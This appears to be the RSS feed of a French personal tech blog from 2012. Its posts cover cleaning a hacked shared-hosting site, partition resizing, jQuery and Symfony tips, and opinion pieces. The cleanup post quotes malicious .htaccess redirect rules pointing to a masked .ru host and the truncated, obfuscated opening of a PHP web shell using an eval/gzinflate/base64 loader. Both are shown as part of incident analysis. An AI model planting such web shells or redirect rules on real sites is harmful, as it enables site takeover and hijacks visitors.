<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
<channel>
	<title>Bux Blog</title>
	<link>http://blog.bux.fr/</link>
	<language>fr</language>
	<description>Programmation, php, quotidient ...</description>

	<lastBuildDate>Fri, 24 Feb 2012 12:12:00 +0000</lastBuildDate>
	<generator>PluXml</generator>
	<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/bux/blog" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="bux/blog" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<title>Nettoyer un site "vérolé" sur un hébérgement mutualisé ovh</title> 
		<link>http://blog.bux.fr/article19/nettoyer-un-site-verole-sur-un-hebergement-mutualise-ovh</link>
		<guid>http://blog.bux.fr/article19/nettoyer-un-site-verole-sur-un-hebergement-mutualise-ovh</guid>
		<description>Jusqu'à ce jour je n'es eu a faire face qu'a trois attaque dirigé contre des site sous ma responsabilité. Les deux premières furent sur &lt;a href="http://www.mangas-tv.com/" title="mangas-tv"&gt;mangas-tv&lt;/a&gt; du temps ou je m'en occupait encore. Ces deux premières attaquent étais dirigé par des hackers et j'ai pu résoudre ces deux problèmes de la même manières: Je suis rentré en contact avec le hacker (annonce sur le site web en question).&lt;br /&gt;&lt;br /&gt;J'ai actuellement comme travail la refonte d'un petit site internet (type association foyer rural) afin de remplacer un vieux site statique. J'ai récemment pu découvrir que le vieux site avait permis a des robots de rentrer sur l’hébergement tel un gruyère.&lt;br /&gt;&lt;br /&gt;Voilà en gros ce que j'ai pu trouver sur la machine:&lt;br /&gt;&lt;br /&gt;Des .htaccess contenant ce genre de choses&lt;br /&gt;&lt;pre&gt;ErrorDocument 400 http://**********.ru/upday/index.php&lt;br /&gt;ErrorDocument 401 http://**********.ru/upday/index.php&lt;br /&gt;&lt;br /&gt;[...]&lt;br /&gt;&lt;br /&gt;RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|&lt;br /&gt;altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|&lt;br /&gt;metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|&lt;br /&gt;rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch&lt;br /&gt;|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search&lt;br /&gt;|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick&lt;br /&gt;|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey&lt;br /&gt;|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro&lt;br /&gt;|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase&lt;br /&gt;|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)&lt;br /&gt;&lt;br /&gt;RewriteRule ^(.*)$ http://*******.ru/upday/index.php [R=301,L]&lt;br /&gt;&lt;br /&gt;[...]&lt;br /&gt;&lt;/pre&gt;Et des fichiers php avec ce genre de contenu:&lt;br /&gt;&lt;pre&gt;&amp;lt;?php $auth_pass="";$color="#df5";$default_action="FilesMan";$default_use_ajax=true;&lt;br /&gt;$default_charset="Windows-1251";preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A&lt;br /&gt;\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64&lt;br /&gt;\x65\x28'7X1re9s2z/Dn9VcwmjfZq+PYTtu7s2MnaQ5t2jTpcugp6ePJsmxrkS1PkuNkWf77C4Ck&lt;br /&gt;REqy43S738N1vbufp7FIEARJkARBAHT7xRVnNIlui4XO6d7Jx72TC/PN2dmHzjl8dbZf7x2dmd9KJXbHC&lt;br /&gt;tPQCbYHzjgKWYtZQWDdFo3Xvj/wHKPMjFNvGkzwx/vTo1d+hL9cq2MF9tC9dgL8/GKNe84N/jqxRl0PEk&lt;br /&gt;tN5vaLk8AZdEZWZA+L5prJKswdTTy/5xTNv82yWm0J8sw1FxMfoHXoWD0nKFLuWq1SZc+qz9iRH7F9fzru&lt;br /&gt;mVCvc+NGTXYP/9tyx24ndKKi6QSBH3Q8f2CWj84PDwEqyYPUDuWHZrmq5Yysm45z49jTyPXHncgdOQICcu&lt;br /&gt;mz47kjNyrGaSNr4NqdP6d+5ISdYDpGGJ7bc/ruGNr96fS4A607PTg+gsaa9cpzk3fVIF18MLGL1OL+dGwj&lt;br /&gt;AQzKhlHgTkLPCodOWCzQSCFI4 [...]&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;En gros on constate que des scripts php servant de porte dérobés placent des .htaccess un peu partout pour modifier le comportement du navigateurs des visiteurs. Du moins c'est ma conclusion.&lt;br /&gt;&lt;br /&gt;Une des premières choses a faire et d'aller consulter les fichiers journaux (logs) de votre machine. Pour un hébergement mutualisé chez ovh nous avons accès a ces différents logs ici: &lt;a href="https://logs.ovh.net/" title="https://logs.ovh.net/"&gt;https://logs.ovh.net/&lt;/a&gt; (identifiez vous avec votre accès OVH).&lt;br /&gt;&lt;br /&gt;Premièrement de quel manière l'attaquant entre en contact avec votre machine: FTP ? Je regarde les logs d'accès: il n'y a aucun autre accès que le mien dans les logs. On change tout de même de mot de passe.&lt;br /&gt;&lt;br /&gt;Deuxièmement: Les accès http. On fouille dans les requêtes http voir ce que l'on trouve. Dans mon cas ces lignes sont intéressantes:&lt;br /&gt;&lt;pre&gt;77.84.28.135 domain.tdl - [23/Feb/2012:00:00:00 +0100] "POST /fichiers/cookiemw5.php&lt;br /&gt;&amp;nbsp;HTTP/1.1" 200 34 "-" "-"&lt;br /&gt;79.137.237.79 domain.tdl - [23/Feb/2012:00:01:28 +0100] "POST /photos/zp-core/&lt;br /&gt;zp-extensions/tiny_mce/plugins/ajaxfilemanager/inc/class.imagess.php HTTP/1.1" &lt;br /&gt;200 123 "-" "Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20100101 Firefox/8.0"&lt;br /&gt;&lt;/pre&gt;On peut trouver de cette manière quel sont les fichiers trojans sur le serveur. Mais ce n'est pas non plus très pratique: Des milliers voir des millions de lignes a lire (ou a exploiter avec des scripts bien sur) et la liste que vous arriverez a faire ne sera pas exhaustive.&lt;br /&gt;&lt;br /&gt;Les hébergements "perso" chez ovh ne nous permettent pas de se connecter en ssh a la machine d'hébergement. Ce qui au final est un gros handicap de ne pas pouvoir utiliser la puissance de la ligne de commande. C'est la que ca devient intéressant: Ovh propose un accès WebDav. bingo on peut se monter un répertoire pointant sur le webdav ! (activez votre accès webdav sur l'interface ovh au préalable)&lt;br /&gt;&lt;pre&gt;mkdir /mnt/tmp&lt;br /&gt;mount.davfs https://[login].webdav.ovh.net /mnt/tmp&lt;br /&gt;&lt;/pre&gt;On peut maintenant utiliser la puissance de la ligne de commande sur les fichiers de l'hébergement mutualisé. Ma stratégie a été de rechercher dans tous les fichiers du contenu similaire a celui trouvé dans les fichiers suspects:&lt;br /&gt;&lt;pre&gt;grep --color=auto -rn "auth_pass" /mnt/tmp | tee -a /home/bux/tmp/logvirus_a_1 &lt;br /&gt;&amp;amp;&amp;amp; grep --color=auto -rn "RewriteCond" /mnt/tmp | tee -a /home/bux/tmp/logvirus_a_2&lt;br /&gt;&lt;/pre&gt;| tee -a permet de mettre dans un ffichier le résultat de la commande.&lt;br /&gt;&lt;br /&gt;J'ai pu par la suite éplucher le résultat de mes deux commandes et lister les fichiers a supprimer. Pour le moment tout semble tranquille mais je reste au aguets, rien ne dit que je n'est pas raté certains fichiers ...&lt;br /&gt;&lt;br /&gt;</description>
		<pubDate>Fri, 24 Feb 2012 12:12:00 +0000</pubDate>
		<dc:creator>bux</dc:creator>
	</item>
	<item>
		<title>Redimensionner une partition avec parted</title> 
		<link>http://blog.bux.fr/article18/redimensionner-une-partition-avec-parted</link>
		<guid>http://blog.bux.fr/article18/redimensionner-une-partition-avec-parted</guid>
		<description>Un iMac G4 a récemment est récemment passé a ma porté. Je l'es tant bien que mal accepté même si son système est propriétaire. Et même si il y a du Unix la dedans j'ai tout de même voulu installer un linux en dual boot.&lt;br /&gt;&lt;a href="http://blog.bux.fr/data/images/250px-imac_g4_sunflower7.png" style="float: right; margin: 15px;"&gt;&lt;img src="http://blog.bux.fr/data/images/250px-imac_g4_sunflower7.tb.png" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Premièrement mon choix c'est porté vers ubuntu. Il m'a fallut télécharger la &lt;a href="http://cdimage.ubuntu.com/ports/releases/10.10/release/" title="version PPC"&gt;version PPC&lt;/a&gt; vu que cette machine est équipé d'un Processeur de type PowerPc (imac &amp;lt; 2005).&lt;br /&gt;Une fois dans la procédure d'installation d'ubuntu il m'a fallut redimensionner la partition principale du disque. Cependant j'ai découvert que le redimensionnement ne peut s'opérer sur les partition de type HFS lors de l'installation d'ubuntu. Il m'a donc fallu trouver un moyen différent de la redimensionner.&lt;br /&gt;J'ai donc télécharger un live cd prévu pour l'architecture PPC: &lt;a href="http://www.finnix.org/" title="Finnix"&gt;Finnix&lt;/a&gt; .&lt;br /&gt;Une fois l'iso gravé et chargé au démarrage du mac (Super+S avec un clavier non mac, sinon c'est Option+S je crois) je démarre la procédure.&lt;br /&gt;&lt;br /&gt;J'identifie le nom du disque:&lt;br /&gt;&lt;pre&gt;fdisk --list&lt;/pre&gt;Dans mon cas ce sera /dev/sda&lt;br /&gt;&lt;pre&gt;parted /dev/sda&lt;/pre&gt;L'interface de parted se lance&lt;br /&gt;J'identifie le numéro de la partition qui m’intéresse:&lt;br /&gt;&lt;pre&gt;print&lt;/pre&gt;Pour moi c'est la &lt;strong&gt;5&lt;/strong&gt;&lt;br /&gt;&lt;pre&gt;resize 5&lt;br /&gt;Start ? [360kB]?&lt;/pre&gt;Je valide sans rien changer&lt;br /&gt;&lt;pre&gt;End [80.0GB]? &lt;/pre&gt;Je saisie 40.00GB&lt;br /&gt;La procédure se lance. Dans mon cas une bonne demi-heure. Une fois la procédure terminé j'effectue un petit redémarrage pour contrôler que tout fonctionne correctement sous mac OS X. Tout est ok, reboot et démarrage sur le livecd d'ubuntu PPC puis installation !&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Attention&lt;/strong&gt;: Les pilotes graphiques ne sont pas toujours très fonctionnels. Dans mon cas ubuntu ne démarré même pas son interface graphique. J'ai réussis a avoir des pilotes fonctionnels avec &lt;a href="http://www.mintppc.org/content/installation-instructions-mintppc-11" title="cette distrib'"&gt;cette distrib'&lt;/a&gt; mais ne fonctionnant qu'en mode dégradé.&lt;br /&gt;&lt;br /&gt;</description>
		<pubDate>Fri, 24 Feb 2012 10:12:00 +0000</pubDate>
		<dc:creator>bux</dc:creator>
	</item>
	<item>
		<title>Une citation pour développeur d'applications</title> 
		<link>http://blog.bux.fr/article17/une-citation-pour-developpeur-d-applications</link>
		<guid>http://blog.bux.fr/article17/une-citation-pour-developpeur-d-applications</guid>
		<description>Je lis actuellement "La programmation orienté objet" de Huges Bersini. Au passage c'est un ouvrage très agréable a lire et simple a comprendre (surtout quand on maîtrise déjà la POO).&lt;br /&gt;&lt;br /&gt;J'ai remarqué une phrase très sympathique qui m'a rappelé le temps ou je cherchais ma voie dans les langages de programmation:&lt;br /&gt;&lt;br style="font-style: italic;" /&gt;&lt;em&gt;"Plus l'application à réaliser est complexe et fait intervenir de multiples acteurs en interaction, plus il devient bénéfique de prendre ses distances par rapport aux contraintes imposés par le processeur, pour faire du monde qui nous entoure la principale source d'inspiration.&lt;/em&gt;"&lt;br /&gt;</description>
		<pubDate>Sat, 18 Feb 2012 16:11:00 +0000</pubDate>
		<dc:creator>bux</dc:creator>
	</item>
	<item>
		<title>jQuery live, pensez-y si vous modifiez du contenu dom</title> 
		<link>http://blog.bux.fr/article14/jquery-live-pensez-y-si-vous-modifiez-du-contenu-dom</link>
		<guid>http://blog.bux.fr/article14/jquery-live-pensez-y-si-vous-modifiez-du-contenu-dom</guid>
		<description>&lt;div class="post-text"&gt;         &lt;p&gt;En tant que développeur php je gère de temps en temps des projets web seul. C'est a dire que je suis contraint de m'occuper de la partie &lt;a href="http://fr.wikipedia.org/wiki/Feuilles_de_style_en_cascade" title="CSS"&gt;CSS&lt;/a&gt;  et &lt;a href="http://fr.wikipedia.org/wiki/Javascript" title="Javascript"&gt;Javascript&lt;/a&gt;  si il y a. Du coup j'utilise &lt;a href="http://fr.wikipedia.org/wiki/JQuery" title="jQuery"&gt;jQuery&lt;/a&gt;  pour me simplifier la tache du Javascript.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Dans cet article une petite info qui peut vous donner un sérieux coups de main, enfin surtout un économie de temps de recherche quand à un problème que nous somme plusieurs a avoir rencontré.&lt;/p&gt;&lt;p&gt;Prenons par exemple le listener &lt;a href="http://api.jquery.com/click/" title="click"&gt;click&lt;/a&gt;. La ou ça coince (avec la méthodo ci-dessous), c'est que l'ajout du listener (click ou autre) porte sur le dom existant. Si l'on ajoute du dom il faut re-spécifier le listener sur le nouveau contenu. &lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="text-decoration: underline;"&gt;Exemple&lt;/span&gt;:&lt;br /&gt;&lt;/p&gt;&lt;pre class="default prettyprint"&gt;&lt;code&gt;&lt;span class="pln"&gt;&lt;/span&gt;&lt;span class="tag"&gt;&amp;lt;ul &lt;/span&gt;&lt;span class="atn"&gt;id&lt;/span&gt;&lt;span class="pun"&gt;=&lt;/span&gt;&lt;span class="atv"&gt;"mylist"&lt;/span&gt;&lt;span class="tag"&gt;&amp;gt;&lt;/span&gt;&lt;span class="pln"&gt;&lt;br /&gt;&amp;nbsp; &lt;/span&gt;&lt;span class="tag"&gt;&amp;lt;li&lt;/span&gt;&lt;span class="pln"&gt; &lt;/span&gt;&lt;span class="atn"&gt;class&lt;/span&gt;&lt;span class="pun"&gt;=&lt;/span&gt;&lt;span class="atv"&gt;"element"&lt;/span&gt;&lt;span class="tag"&gt;&amp;gt;&amp;lt;a&lt;/span&gt;&lt;span class="pln"&gt; &lt;/span&gt;&lt;span class="atn"&gt;href&lt;/span&gt;&lt;span class="pun"&gt;=&lt;/span&gt;&lt;span class="atv"&gt;"#" class="clickme"&lt;/span&gt;&lt;span class="tag"&gt;&amp;gt;&lt;/span&gt;&lt;span class="pln"&gt;bla1&lt;/span&gt;&lt;span class="tag"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;span class="pln"&gt;&lt;br /&gt;&amp;nbsp; &lt;/span&gt;&lt;span class="tag"&gt;&amp;lt;li&lt;/span&gt;&lt;span class="pln"&gt; &lt;/span&gt;&lt;span class="atn"&gt;class&lt;/span&gt;&lt;span class="pun"&gt;=&lt;/span&gt;&lt;span class="atv"&gt;"element"&lt;/span&gt;&lt;span class="tag"&gt;&amp;gt;&amp;lt;a&lt;/span&gt;&lt;span class="pln"&gt; &lt;/span&gt;&lt;span class="atn"&gt;href&lt;/span&gt;&lt;span class="pun"&gt;=&lt;/span&gt;&lt;span class="atv"&gt;"#" class="clickme"&lt;/span&gt;&lt;span class="tag"&gt;&amp;gt;&lt;/span&gt;&lt;span class="pln"&gt;bla1&lt;/span&gt;&lt;span class="tag"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;span class="pln"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="tag"&gt;&amp;lt;/ul&amp;gt;&lt;/span&gt;&lt;span class="pln"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="tag"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="pln"&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp; &lt;/span&gt;&lt;span class="kwd"&gt;&lt;/span&gt;&lt;span class="pln"&gt;$&lt;/span&gt;&lt;span class="pun"&gt;(&lt;/span&gt;&lt;span class="str"&gt;'a.clickme'&lt;/span&gt;&lt;span class="pun"&gt;).&lt;/span&gt;&lt;span class="pln"&gt;click&lt;/span&gt;&lt;span class="pun"&gt;(&lt;/span&gt;&lt;span class="kwd"&gt;function&lt;/span&gt;&lt;span class="pun"&gt;()&lt;/span&gt;&lt;span class="pln"&gt; &lt;/span&gt;&lt;span class="pun"&gt;&lt;br /&gt;  {&lt;/span&gt;&lt;span class="pln"&gt; &lt;br /&gt;    alert&lt;/span&gt;&lt;span class="pun"&gt;(&lt;/span&gt;&lt;span class="str"&gt;'&lt;/span&gt;&lt;span class="pln"&gt;hello&lt;/span&gt;&lt;span class="pun"&gt;);&lt;/span&gt;&lt;span class="pln"&gt; &lt;br /&gt;  &lt;/span&gt;&lt;span class="pun"&gt;});&lt;/span&gt;&lt;span class="pln"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="pun"&gt;&lt;/span&gt;&lt;span class="pln"&gt;&lt;/span&gt;&lt;span class="pun"&gt;&lt;/span&gt;&lt;span class="pln"&gt;&lt;br /&gt;  &lt;/span&gt;&lt;span class="pln"&gt;$&lt;/span&gt;&lt;span class="pun"&gt;.&lt;/span&gt;&lt;span class="pln"&gt;getJSON&lt;/span&gt;&lt;span class="pun"&gt;(&lt;/span&gt;&lt;span class="str"&gt;'/url'&lt;/span&gt;&lt;span class="pun"&gt;,&lt;/span&gt;&lt;span class="pln"&gt; &lt;/span&gt;&lt;span class="kwd"&gt;function&lt;/span&gt;&lt;span class="pun"&gt;(&lt;/span&gt;&lt;span class="pln"&gt;response&lt;/span&gt;&lt;span class="pun"&gt;)&lt;/span&gt;&lt;span class="pln"&gt; &lt;/span&gt;&lt;span class="pun"&gt;{&lt;/span&gt;&lt;span class="pln"&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span class="com"&gt;// Adding li to ul#mylist&lt;/span&gt;&lt;span class="pln"&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span class="com"&gt;// ...&lt;/span&gt;&lt;span class="pun"&gt;&lt;/span&gt;&lt;span class="pln"&gt;&lt;br /&gt;&amp;nbsp; &lt;/span&gt;&lt;span class="pun"&gt;});&lt;/span&gt;&lt;span class="pln"&gt;&lt;br /&gt;&amp;nbsp; &lt;/span&gt;&lt;span class="pun"&gt;&lt;/span&gt;&lt;span class="pln"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="tag"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;span class="pln"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;em&gt;Dans l'exemple ci-dessus on considère que l'appel ajax ajoute des éléments a la liste.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Après la modification du dom le listener 'click' n'écoutera pas les click sur les nouveaux a.clickme. Ce qui est en fait tout a fait logique puisque ces éléments n'existait pas lors de la mise en place de &lt;em&gt;$('a.clickme').click&lt;/em&gt;.&lt;br /&gt;&lt;p&gt;Pour cela il faut utiliser &lt;a href="http://api.jquery.com/live/" title="live"&gt;live&lt;/a&gt; car ce listener prendra en compte les nouveaux éléments du dom :&lt;a href="http://api.jquery.com/live/" title="live"&gt;&lt;br /&gt;&lt;/a&gt;&lt;/p&gt;&lt;pre class="default prettyprint"&gt;&lt;code&gt;$('&lt;/code&gt;&lt;code&gt;&lt;span class="str"&gt;a.clickme&lt;/span&gt;&lt;/code&gt;&lt;code&gt;').live("click", function(){&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;span class="pln"&gt;  alert&lt;/span&gt;&lt;span class="pun"&gt;(&lt;/span&gt;&lt;span class="str"&gt;'&lt;/span&gt;&lt;span class="pln"&gt;hello&lt;/span&gt;&lt;span class="pun"&gt;);&lt;/span&gt;&lt;span class="pln"&gt; &lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;br /&gt;});&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;      &lt;/div&gt;</description>
		<pubDate>Fri, 17 Feb 2012 20:53:00 +0000</pubDate>
		<dc:creator>bux</dc:creator>
	</item>
	<item>
		<title>Stallman avait malheureusement raison depuis le début</title> 
		<link>http://blog.bux.fr/article13/stallman-avait-malheureusement-raison-depuis-le-debut</link>
		<guid>http://blog.bux.fr/article13/stallman-avait-malheureusement-raison-depuis-le-debut</guid>
		<description>&lt;em&gt;Citation de l'article:&lt;/em&gt;&lt;br /&gt;"Le cauchemar paranoïaque et apocalyptique d’un &lt;em&gt;geek&lt;/em&gt; psychorigide est en passe de devenir réalité.&lt;br /&gt;&lt;br /&gt;Trente ans, trente ans que &lt;a class="offSite" href="http://www.framablog.org/index.php/tag/Stallman"&gt;Stallman&lt;/a&gt; et la &lt;a class="offSite" href="http://fr.wikipedia.org/wiki/Free_Software_Foundation"&gt;Free Software Foundation&lt;/a&gt;
  répètent inlassablement qu’il est fondamental que ce soit l’homme qui 
 contrôle le logiciel, et donc la machine, et non l’inverse."&lt;br /&gt;&lt;br /&gt;Je vous invite a lire la suite sur le Framablog:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.framablog.org/index.php/post/2012/01/04/stallman-avait-raison" title="http://www.framablog.org/index.php/post/2012/01/04/stallman-avait-raison"&gt;http://www.framablog.org/index.php/post/2012/01/04/stallman-avait-raison&lt;/a&gt;</description>
		<pubDate>Fri, 17 Feb 2012 13:00:00 +0000</pubDate>
		<dc:creator>bux</dc:creator>
	</item>
	<item>
		<title>Fichez les tous !</title> 
		<link>http://blog.bux.fr/article16/fichez-les-tous</link>
		<guid>http://blog.bux.fr/article16/fichez-les-tous</guid>
		<description>Je ne fait même pas de commentaires ...&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Ce mercredi, dans une relative discrétion, l'Assemblée nationale
 a adopté un texte permettant de ficher la quasi totalité de la 
population française. Dénommé &lt;em&gt;"Fichier des gens honnêtes"&lt;/em&gt;, il 
contiendra les données privées de 60 millions de personnes. Un tel 
fichier a déjà existé dans l'histoire. En 1940. Il a été détruit à la 
Libération en raison des risques majeurs qu'il représentait pour les 
libertés publiques.&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://owni.fr/2012/02/01/fichez-les-tous/" title="http://owni.fr/2012/02/01/fichez-les-tous/"&gt;http://owni.fr/2012/02/01/fichez-les-tous/&lt;/a&gt; &lt;br /&gt;</description>
		<pubDate>Sat, 04 Feb 2012 16:44:00 +0000</pubDate>
		<dc:creator>bux</dc:creator>
	</item>
	<item>
		<title>Les réacteurs au thorium</title> 
		<link>http://blog.bux.fr/article12/les-reacteurs-au-thorium</link>
		<guid>http://blog.bux.fr/article12/les-reacteurs-au-thorium</guid>
		<description>Cela fait quelques temps que l'on entends parler des réacteurs nucléaires au thorium. Enfin, pas vraiment quelques temps. La technologie est connu et fonctionnelle depuis 50 ans et les chercheurs, associations et autres essaye de se faire entendre depuis presque autant d'années.&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;script src="http://player.ooyala.com/player.js?embedCode=xhOTIxMzqjBaO-z5VfQotODcADrzUP-F&amp;amp;width=640&amp;amp;video_pcode=JqcWY6ikg5nwtXilzVurvI-vU6Ik&amp;amp;deepLinkEmbedCode=xhOTIxMzqjBaO-z5VfQotODcADrzUP-F&amp;amp;height=360&amp;amp;autoplay=0"&gt;&lt;/script&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;img style="width: 143px; height: 215px; float: right;" src="http://blog.bux.fr/data/images/edf-nucleaire-danger.jpg" alt="" /&gt;&lt;br /&gt;Alors pourquoi nos gouvernements d'époque ont-il choisis de continuer dans le nucléaire à d'uranium plutôt que vers le thorium ? Il semble clair que l'association de l’intérêt militaire a celui de l’énergie n'a pas été négligé. Une industrie d'&lt;a href="http://fr.wikipedia.org/wiki/Enrichissement_de_l%27uranium" title="enrichissement"&gt;enrichissement&lt;/a&gt; d'uranium (&lt;a href="http://fr.wikipedia.org/wiki/Areva" title="AREVA"&gt;AREVA&lt;/a&gt;  par exemple) servant autant aux centrales qu'au secteur industriel pour faire des bombes et des munitions a &lt;a href="http://fr.wikipedia.org/wiki/Uranium_appauvri" title="uranium appauvris"&gt;uranium appauvris&lt;/a&gt;  ca joue dans la balance ...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Et aujourd'hui ? Renouveler le parc industriel représente un investissement énorme, ajoutons a cela les lobbys du nucléaire qui ne veulent pas perdre leurs marché le tout avec un gouvernement qui mange dans la main des grand de l'industrie et de tout ce qui a du pognon ça nous donne le &lt;a href="http://www.leparisien.fr/environnement/le-parc-nucleaire-francais-deuxieme-au-monde-avec-58-reacteurs-13-03-2011-1356507.php" title="second secteur nucléaire mondial"&gt;second secteur nucléaire mondial.&lt;/a&gt;</description>
		<pubDate>Thu, 05 Jan 2012 20:33:00 +0000</pubDate>
		<dc:creator>bux</dc:creator>
	</item>
	<item>
		<title>Symfony2: Connaitre l'environnement dans twig</title> 
		<link>http://blog.bux.fr/article11/symfony2-connaitre-l-environnement-dans-twig</link>
		<guid>http://blog.bux.fr/article11/symfony2-connaitre-l-environnement-dans-twig</guid>
		<description>Il est parfois utilise d'influencer votre template en fonction de l'environnement en cours. Dans mon cas, j'utilise un script javascript afin de gérer une liste de tags sur l'un de mes projets. Le principe du script est d'ajouter dans le dom une checkbox coché (et caché) identifiant le tag choisis. &lt;br /&gt;Ce qui pose problème lorsque vous souhaitez tester votre formulaire car la manipulation du formulaire nécéssite a priori la présence des champs dans le dom:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;$form['element_search_form[tags]['.$hardtek_id.']'] = $hardtek_id;&lt;br /&gt;$form['element_search_form[tags]['.$tribe_id.']']&amp;nbsp;&amp;nbsp; = $tribe_id;&lt;/pre&gt;&lt;br /&gt;Or dans mon cas ces cases a cocher n'existe pas dans le dom. Une des solutions est donc d'afficher ces cases a cocher lorsque nous somme en environnement de test:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&amp;nbsp; {% if&amp;nbsp; app.environment != 'test' %}&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;    [...]&lt;br /&gt;&amp;nbsp; {% else %}&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;    {{ form_row(form.tags) }}&amp;nbsp; &lt;br /&gt;  {% endif %}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;</description>
		<pubDate>Thu, 29 Dec 2011 11:00:00 +0000</pubDate>
		<dc:creator>bux</dc:creator>
	</item>
</channel>
</rss>

